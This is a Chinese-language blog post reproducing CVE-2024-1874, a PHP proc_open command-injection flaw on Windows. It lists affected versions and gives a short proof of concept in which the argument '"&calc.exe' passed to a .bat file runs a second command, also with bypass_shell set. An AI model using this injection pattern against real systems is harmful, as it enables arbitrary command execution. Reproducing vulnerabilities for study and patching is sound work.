PHP命令执行漏洞CVE-2024-1874复现

CVE-2024-1874 PHP命令执行漏洞

影响版本

Affected versions
< 8.1.28
< 8.2.18
< 8.3.5
Patched versions
8.1.28
8.2.18
8.3.6

POC

创建一个文件test.php


<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes);
proc_close($proc);

随便创建一个.bat文件,如test.bat

echo test

然后在PHP 8.2.9nts版本下使用php test.php来执行test.php,成功RCE调起计算器。
在这里插入图片描述
即使在proc_open()函数中使用bypass shell选项,依旧RCE成功。

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);

在这里插入图片描述

参考链接

https://mp.weixin.qq.com/s/jAeRY-XOKw8fmUDXT2ESNQ

最近更新

  1. TCP协议是安全的吗?

    2024-04-24 19:32:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-24 19:32:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-24 19:32:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-24 19:32:02       20 阅读

热门阅读

  1. L2-3 满树的遍历

    2024-04-24 19:32:02       10 阅读
  2. 2024年货运从业资格考试题库及答案

    2024-04-24 19:32:02       18 阅读
  3. PHP中的会话管理是如何工作的?

    2024-04-24 19:32:02       9 阅读
  4. 如何防止SQL注入攻击?

    2024-04-24 19:32:02       18 阅读
  5. 2024年最重要的AI趋势

    2024-04-24 19:32:02       12 阅读
  6. 【Linux】解决切换用户出现bash-4.2$问题

    2024-04-24 19:32:02       11 阅读
  7. 网络安全之数据库基础篇(基础入门)

    2024-04-24 19:32:02       14 阅读
  8. js 制作qq、微信 的表情

    2024-04-24 19:32:02       13 阅读
  9. 【PyTorch】3-基础实战(ResNet)

    2024-04-24 19:32:02       10 阅读
  10. 数仓建模—大数据建模

    2024-04-24 19:32:02       13 阅读
  11. Django的ORM使用filter以及Paginator分页器

    2024-04-24 19:32:02       10 阅读
  12. RTT学习

    2024-04-24 19:32:02       10 阅读